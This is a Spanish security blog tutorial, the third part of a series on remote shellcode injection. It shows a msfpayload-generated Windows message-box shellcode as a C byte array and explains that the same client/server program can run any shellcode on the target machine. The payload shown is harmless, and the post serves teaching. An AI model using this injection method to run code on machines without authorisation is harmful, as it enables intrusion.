23 oct 2013

Remote Shellcode Injection (Parte III)

Buenas a todos, en el post de hoy vamos a continuar la cadena Remote Shellcode Injection probando nuestro cliente y servidor, que ya finalizamos en la última entrega de la cadena.

El primer paso será ejecutar el cliente que acabamos de programar. Una vez ejecutado permanecerá a la espera de que el servidor sea arrancado y le envíe la primera petición:

A continuación iniciaremos el servidor y comenzará la comunicación:

Si todo ha ido correctamente aparecerá en la máquina donde se ejecutaba el servidor un mensaje informativo con el texto "Hola", que se encontraba encodeado dentro de nuestra shellcode de ejemplo:

Ahora vamos a generar con msfpayload una shellcode con el texto que queramos:
/* * windows/messagebox - 271 bytes * http://www.metasploit.com * VERBOSE=false, EXITFUNC=process, TITLE=FluProject,  * TEXT=FluProjectRules!, ICON=INFORMATION */unsigned char buf[] = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b""\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b""\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24""\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a""\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0""\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c""\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a""\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2""\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f""\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52""\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33""\x32\x2e\x64\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56""\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52""\xe8\x61\xff\xff\xff\x68\x63\x74\x58\x20\x68\x72\x6f\x6a\x65""\x68\x46\x6c\x75\x50\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58""\x20\x20\x20\x68\x6c\x65\x73\x21\x68\x63\x74\x52\x75\x68\x72""\x6f\x6a\x65\x68\x46\x6c\x75\x50\x31\xc9\x88\x4c\x24\x10\x89""\xe1\x31\xd2\x6a\x40\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55""\x08";
Una vez que ya la tenemos generada, la añadimos a la variable "sc", tal y como vimos en artículos anteriores:

 Si compilamos, e iniciamos de nuevo nuestro cliente y servidor, veremos como ahora en la máquina aparece un mensaje con el texto "FluProjectRules!" :)

Con este sencillo ejemplo de hoy ya sabéis como modificar el programa para ejecutar cualquier tipo de shellcode. En próximos artículos haremos uso de shellcodes más curiosas para hacer nuevas cosas sobre la máquina que la ejecutemos.

Saludos!

No hay comentarios:

Publicar un comentario